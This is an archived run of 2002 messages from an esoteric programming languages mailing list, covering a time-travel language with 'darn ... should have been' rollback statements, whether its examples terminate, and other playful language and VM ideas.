> allows you to retrospectively change values of constants.

The language in this example allows you to change variables, only you
choose not to use that feature :)  Anyway, I don't think it's logical to
be able to modify constants.  Actually, why do you need a language-level
seperation between a constant and a variable?  A constant is a variable
that the programmer chooses not to vary.

> > const $a = 1
> > print "given a=$a, tell me b:"
> > input $b
> > if ($a<4) darn, $a should have been $a+1
> > print "okay, b is $b\n"
> > darn, $a should have been 50

Does this ever terminate?  That is, if $a is already 50, will the last
line have any effect?

Also, what would the following code do?

   const $a = 1
   print "given a=$a, tell me b:"
   input $b
   darn, $a should have been $b

Since $b is supposed to "never have been input" (which is simulated by
forgetting it), it's rather strange that it's still available.






From esoteric@oiva.sange.fi Mon Jun 24 11:34:09 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MPGn-000AIO-00; Mon, 24 Jun 2002 11:32:21 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 24 Jun 2002 11:32:13 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MPFt-000AI8-00; Mon, 24 Jun 2002 11:31:25 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 24 Jun 2002 11:31:18 +0300 (EEST)
Received: from web14002.mail.yahoo.com ([216.136.175.93])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17MPFj-000AI1-00
	for lang@esoteric.sange.fi; Mon, 24 Jun 2002 11:31:15 +0300
Message-ID: <20020624083112.94528.qmail@web14002.mail.yahoo.com>
Received: from [194.100.133.65] by web14002.mail.yahoo.com via HTTP; Mon, 24 Jun 2002 09:31:12 BST
Date: Mon, 24 Jun 2002 09:31:12 +0100 (BST)
From: =?iso-8859-1?q?Stephen=20Sykes?= <s_d_sykes@yahoo.co.uk>
Subject: [lang] Re: time travel, was Malbolge
To: lang@esoteric.sange.fi
In-Reply-To: <3D15E127.3CFE0BA@dds.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
X-list: misc


> How about an ncurses implementation where forgotten input and output is
> actually erased from the screen?

Nice idea!

> 
> The language in this example allows you to change variables, only you
> choose not to use that feature :)  Anyway, I don't think it's logical to
> be able to modify constants.  Actually, why do you need a language-level
> seperation between a constant and a variable?  A constant is a variable
> that the programmer chooses not to vary.

Yes, agreed.  The reason was that it simplifies the language syntax if
when want to
change something, the language knows where to go back to.  Seeing as
'constants'
are only defined once, and do not change subsequently, then when you say
'darn, $a
should have been 25' then the language immediately knows where to roll
back to.

You would need some additional syntax to modify variables - "$x should
have been 5 at 
line 22" or something.

> > > const $a = 1
> > > print "given a=$a, tell me b:"
> > > input $b
> > > if ($a<4) darn, $a should have been $a+1
> > > print "okay, b is $b\n"
> > > darn, $a should have been 50
> 
> Does this ever terminate?  That is, if $a is already 50, will the last
> line have any effect?

Yes, good point, I had thought that a 'darn' statement would only execute
if the 
"should have been" value had changed since the last time the statement was
seen.

This doesn't seem particularly nice though.

> 
> Also, what would the following code do?
> 
>    const $a = 1
>    print "given a=$a, tell me b:"
>    input $b
>    darn, $a should have been $b
> 
> Since $b is supposed to "never have been input" (which is simulated by
> forgetting it), it's rather strange that it's still available.
> 

Well, when the darn statement is executed, $b is known, so I do not see
any
contradiction.  However, it's clear that information can be passed
into the earlier part of a program from a later part of the program that
has been
"un-executed".  In a way that was part of my idea for the language, which
is
why it is called WHATIF / shoulda; you could use this property to write
programs
that find iterative solutions:

print "Find the square root of: "
input $s
cost $res = $s
darn, $res should have been ($res + $s / $res) / 2
print "Result is $res\n"

Should work, but not particularly esoteric.

Stephen.
+- S.D.Sykes - www.stephensykes.com - +358 50 577 3879 -
| Under pressure from Adobe Systems, which created the protective 
| software for the e-books, Elcomsoft was compelled to discontinue 
| the sales of its "hacker" program. 
| It is now distributing that program for free. -- The Moscow Times



__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Tue Jun 25 01:51:31 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mcg0-000DLw-00; Tue, 25 Jun 2002 01:51:17 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 01:51:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mceo-000DLg-00; Tue, 25 Jun 2002 01:50:02 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 01:49:54 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mcef-000DLa-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 01:49:53 +0300
Received: from dds.nl (xs241-239-94.dial.tiscali.nl [195.241.239.94])
	by rhea.tiscali.nl (Postfix) with ESMTP id 95A9D99AC4
	for <lang@esoteric.sange.fi>; Tue, 25 Jun 2002 00:49:49 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D17AE2F.25F820EB@dds.nl>
Date: Tue, 25 Jun 2002 01:41:35 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
References: <20020624083112.94528.qmail@web14002.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Stephen Sykes wrote:

> > > > const $a = 1
> > > > print "given a=$a, tell me b:"
> > > > input $b
> > > > if ($a<4) darn, $a should have been $a+1
> > > > print "okay, b is $b\n"
> > > > darn, $a should have been 50
> >
> > Does this ever terminate?  That is, if $a is already 50, will the last
> > line have any effect?
>
> Yes, good point, I had thought that a 'darn' statement would only execute
> if the
> "should have been" value had changed since the last time the statement was
> seen.
>
> This doesn't seem particularly nice though.

You could also just insist that the programmer explicitly safeguards all
"darn" statements with an "if" (or enter infinite looping).

> > Also, what would the following code do?
> >
> >    const $a = 1
> >    print "given a=$a, tell me b:"
> >    input $b
> >    darn, $a should have been $b
> >
> > Since $b is supposed to "never have been input" (which is simulated by
> > forgetting it), it's rather strange that it's still available.
>
> Well, when the darn statement is executed, $b is known, so I do not see
> any
> contradiction.  However, it's clear that information can be passed
> into the earlier part of a program from a later part of the program that
> has been
> "un-executed".

The problem is that the user is told that the input value of "$b" has been
forgotten, while the program secretly continues using it.

> In a way that was part of my idea for the language, which
> is
> why it is called WHATIF / shoulda; you could use this property to write
> programs
> that find iterative solutions:
>
> print "Find the square root of: "
> input $s
> cost $res = $s
> darn, $res should have been ($res + $s / $res) / 2
> print "Result is $res\n"
>
> Should work, but not particularly esoteric.

When does this terminate?





From esoteric@oiva.sange.fi Tue Jun 25 15:41:47 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MpdC-000GLb-00; Tue, 25 Jun 2002 15:41:14 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 15:41:06 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MpbX-000GLI-00; Tue, 25 Jun 2002 15:39:31 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 15:39:23 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MpbM-000GLC-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 15:39:21 +0300
Received: from lennie (woc53-01-p97.wc.saix.net [155.239.129.97])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g5PCd7v21896
	for <lang@esoteric.sange.fi>; Tue, 25 Jun 2002 14:39:10 +0200 (SAT)
Message-ID: <015001c21c44$71a9c320$a681ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: "EsoLang Lang" <lang@esoteric.sange.fi>
Subject: [lang] EsoLangs for C64 ?
Date: Tue, 25 Jun 2002 13:55:42 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Everybody!

I'm a old C64 freek and is still programming my C64 as a hobby ! :)

I noticed that only esogotschi (http://www.p-nand-q.com/esogotschi.htm) is
avialable for the C64 - Anyother esoteric programming languages ?

BTW: I'm now working on a C64 intepreter for my 'e' (Exclamation) language.

Best Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Tue Jun 25 15:55:22 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mpql-000GP3-00; Tue, 25 Jun 2002 15:55:15 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 15:55:08 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MpqV-000GOt-00; Tue, 25 Jun 2002 15:54:59 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 15:54:51 +0300 (EEST)
Received: from mrwaynxd-new.lnk.telstra.net ([139.130.76.194] helo=gateway.michel.com.au)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MpqL-000GOh-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 15:54:50 +0300
Received: from ork (ork.michel.com.au [203.18.139.105])
	by gateway.michel.com.au (8.11.0/8.11.0) with SMTP id g5PCpsi16941
	for <lang@esoteric.sange.fi>; Tue, 25 Jun 2002 22:51:55 +1000
From: "Ryan Michel" <ryan@michel.com.au>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Tue, 25 Jun 2002 22:54:43 +1000
Message-ID: <LFEDLOFBCDOICJLLHNHBMENICBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <200206211146.23705.cbiffle@safety.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by gateway.michel.com.au id g5PCpsi16941
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
X-list: misc

The spec for my functional language now with a name "Nequam" (Latin for
useless) along with LOBOL and QNA can be found at:

http://www.geocities.com/psyopsmstr/index.html

(No jokes about the geocities Web page)

ryan

P.S. Soon I will add Whitespace, Alphabet Soup, Plip and an as yet unamed
language.

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Cliff L. Biffle
Sent: Saturday, 22 June 2002 4:46 AM
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo


On Friday 21 June 2002 03:34 am, you wrote:
> :f3345*+=3Dc0?>!ab+=3Dr1c-=3Dcr#58+=3D@crbf!{:;abcr;01.f=94How Many Fib=
onaccis ?=94@=3D=3D

I'm sorry, can you send again?  There seems to have been some line noise =
in
your transmission.  *grin*

Looking forward to the spec!

-Cliff L. Biffle

---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002






From esoteric@oiva.sange.fi Tue Jun 25 17:50:15 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mrds-000H8B-00; Tue, 25 Jun 2002 17:50:04 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 17:49:57 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MrdV-000H85-00; Tue, 25 Jun 2002 17:49:42 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 17:49:34 +0300 (EEST)
Received: from smtp6.mindspring.com ([207.69.200.110])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MrdN-000H7y-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 17:49:33 +0300
Received: from dialup-209.245.130.200.dial1.sanjose1.level3.net ([209.245.130.200] helo=zess)
	by smtp6.mindspring.com with smtp (Exim 3.33 #1)
	id 17MrdK-00048t-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 10:49:30 -0400
Message-ID: <00e501c21c56$b2665010$a085f5d1@zess>
From: "Michael Feathers" <mfeathers@objectmentor.com>
To: <lang@esoteric.sange.fi>
References: <015001c21c44$71a9c320$a681ef9b@lennie>
Subject: [lang] NS lang
Date: Tue, 25 Jun 2002 09:49:41 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mfeathers@objectmentor.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mfeathers@objectmentor.com
Precedence: bulk
X-list: misc

Not sure if this one has been tried, but it seems to me that computers spend
incrementing the instruction pointer.  All of that needless sequentiality
(tsk, tsk).

How about a purely parallel language in which all programs are a single
instruction on a VM?  We could finally get hardware people off our backs
about slow code and just tell them that performance is purely a hardware
problem now.

Has it been done before?  If not, anyone want to collaborate? :-)






From esoteric@oiva.sange.fi Tue Jun 25 18:30:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MsGy-000HKa-00; Tue, 25 Jun 2002 18:30:28 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 18:30:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MsGc-000HHb-00; Tue, 25 Jun 2002 18:30:06 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 18:29:59 +0300 (EEST)
Received: from web14005.mail.yahoo.com ([216.136.175.121])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17MsGT-000HHV-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 18:29:58 +0300
Message-ID: <20020625152955.83734.qmail@web14005.mail.yahoo.com>
Received: from [194.100.133.65] by web14005.mail.yahoo.com via HTTP; Tue, 25 Jun 2002 16:29:55 BST
Date: Tue, 25 Jun 2002 16:29:55 +0100 (BST)
From: =?iso-8859-1?q?Stephen=20Sykes?= <s_d_sykes@yahoo.co.uk>
Subject: [lang] Re: time travel, was Malbolge
To: lang@esoteric.sange.fi
In-Reply-To: <3D17AE2F.25F820EB@dds.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
X-list: misc

> >
> > print "Find the square root of: "
> > input $s
> > cost $res = $s
> > darn, $res should have been ($res + $s / $res) / 2
> > print "Result is $res\n"
> >
> > Should work, but not particularly esoteric.
> 
> When does this terminate?
> 

According to my earlier rule, when $res == ($res + $s / $res) / 2. 
Obviously with infinite precision, that could be never if the root is
irrational :-)

Stephen.
+- S.D.Sykes - www.stephensykes.com - +358 50 577 3879 -
| "Don't be so humble. You're not that great." -- Golda Meir


__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Tue Jun 25 18:41:16 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MsRO-000HND-00; Tue, 25 Jun 2002 18:41:14 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 25 Jun 2002 18:41:06 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MsR7-000HN3-00; Tue, 25 Jun 2002 18:40:57 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 25 Jun 2002 18:40:49 +0300 (EEST)
Received: from mailout02.sul.t-online.com ([194.25.134.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MsQz-000HMx-00
	for lang@esoteric.sange.fi; Tue, 25 Jun 2002 18:40:49 +0300
Received: from fwd05.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 17MsQx-0005Vm-0A; Tue, 25 Jun 2002 17:40:47 +0200
Received: from dreizehn (320072378593-0001@[217.0.87.187]) by fwd05.sul.t-online.com
	with smtp id 17MsQv-0ppia0C; Tue, 25 Jun 2002 17:40:45 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <lang@esoteric.sange.fi>
Subject: [lang] AW: NS lang
Date: Tue, 25 Jun 2002 17:42:06 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKOEGACIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <00e501c21c56$b2665010$a085f5d1@zess>
Importance: Normal
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc


> How about a purely parallel language in which all programs are a single
> instruction on a VM?  We could finally get hardware people off our backs
> about slow code and just tell them that performance is purely a hardware
> problem now.

I had this idea: Each instruction in a dedicated thread, looping forever
over { sleep for a random time, "execute" whatever this threads' instruction
is }. That way, if you specify all instructions, you only have to wait like
some years or so, until hopefully, by chance or courtesy of a broken random
number generator, the program does what you want it to do. Debugging that
seems a tiny bit unpleasant...

As a followup on that, one could tackle the task: design a random number
generator such that the numbers it produces generate a specific program.
Imagine 26 threads, each sleeping for a random time, then printing A,B,C,
and so on. Now, because the sleep() time is decided by the RNG, the RNG
could be designed to first wake up thread H, then E, then L, L, O, and so
on.






From esoteric@oiva.sange.fi Wed Jun 26 01:13:36 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MyYW-000IkL-00; Wed, 26 Jun 2002 01:13:00 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 01:12:53 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MyWd-000IkB-00; Wed, 26 Jun 2002 01:11:03 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 01:10:56 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MyWU-000Ik5-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 01:10:55 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5PMAoG09863
	for <lang@esoteric.sange.fi>; Tue, 25 Jun 2002 15:10:51 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 25 Jun 2002 15:10:46 -0700
Subject: [lang] Re: AW: NS lang
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B93E3875.68D%cristofd@hevanet.com>
In-Reply-To: <KGEPLGONBPHFGIHOBLCKOEGACIAA.gerson.kurz@t-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

A while ago I came up with a language somewhat related to the above:
Syntax: any character in the source file produces a syntax error (though a
possible language extension allows C-style comments). This means the only
valid program is an empty file.
The semantics of a program in this language are those of the time when it's
compiled, in time_t format, executed as machine language.
This language is both deterministic and Turing-complete, in an odd way. We
can count on time_t to be extended as necessary, so it doesn't matter that
it's of finite size at any given time; but most interesting programs also
involve waiting longer than the physical universe is expected to last.
On the other hand, it is very easy to write compilers for this language, and
most programs in it are quines, or rather the only program in it compiles to
a quine most of the time.
Maybe call this the wait programming language?
-Daniel.






From esoteric@oiva.sange.fi Wed Jun 26 01:47:24 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mz5h-000Iqg-00; Wed, 26 Jun 2002 01:47:18 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 01:47:10 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mz5M-000Iqa-00; Wed, 26 Jun 2002 01:46:56 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 01:46:49 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Mz5E-000IqU-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 01:46:48 +0300
Received: from dds.nl (xs241-239-223.dial.tiscali.nl [195.241.239.223])
	by rhea.tiscali.nl (Postfix) with ESMTP id 1696E1C6ADD
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 00:08:59 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D18F5F4.670BE57D@dds.nl>
Date: Wed, 26 Jun 2002 01:00:04 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
References: <20020625152955.83734.qmail@web14005.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Stephen Sykes wrote:

> > >
> > > print "Find the square root of: "
> > > input $s
> > > cost $res = $s
> > > darn, $res should have been ($res + $s / $res) / 2
> > > print "Result is $res\n"
> > >
> > > Should work, but not particularly esoteric.
> >
> > When does this terminate?
>
> According to my earlier rule, when $res == ($res + $s / $res) / 2.
> Obviously with infinite precision, that could be never if the root is
> irrational :-)

That's my point.  It never terminates, so it doesn't actually calculate
anything.






From esoteric@oiva.sange.fi Wed Jun 26 06:10:19 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N3C2-000JnQ-00; Wed, 26 Jun 2002 06:10:06 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 26 Jun 2002 06:09:59 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N3Ax-000JnF-00; Wed, 26 Jun 2002 06:09:00 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 26 Jun 2002 06:08:52 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N3Ap-000Jn8-00
	for lang@esoteric.sange.fi; Wed, 26 Jun 2002 06:08:51 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5Q38m217194
	for <lang@esoteric.sange.fi>; Tue, 25 Jun 2002 20:08:48 -0700
Content-Type: text/plain;
  charset="us-ascii"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] [not quite esoteric, yet] Virtual Machine book
Date: Tue, 25 Jun 2002 20:10:04 -0700
X-Mailer: KMail [version 1.4]
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206252010.04914.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

Slashdot today reviewed an interesting-sounding book on implementing Virt=
ual=20
Machines in C and C++.  The review is here:
http://books.slashdot.org/books/02/06/25/1223234.shtml?tid=3D156

Slashdot/anti-Slashdot fervor aside, this book sounds like it would be of=
 much=20
interest to this group, so I wanted to make sure everyone got a glance at=
 it.

Apparently, it starts with basic machine architecture concepts and goes u=
p=20
through threading/multiprocess models and so forth, while walking the rea=
der=20
through a sample VM implementation, including an assembler and debugger.

Anyone here read it yet?

-Cliff L. Biffle





From esoteric@oiva.sange.fi Wed Jun 26 08:41:42 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17N5YX-000KFT-00; Wed, 26 Jun 2002 08:41:29 +0300
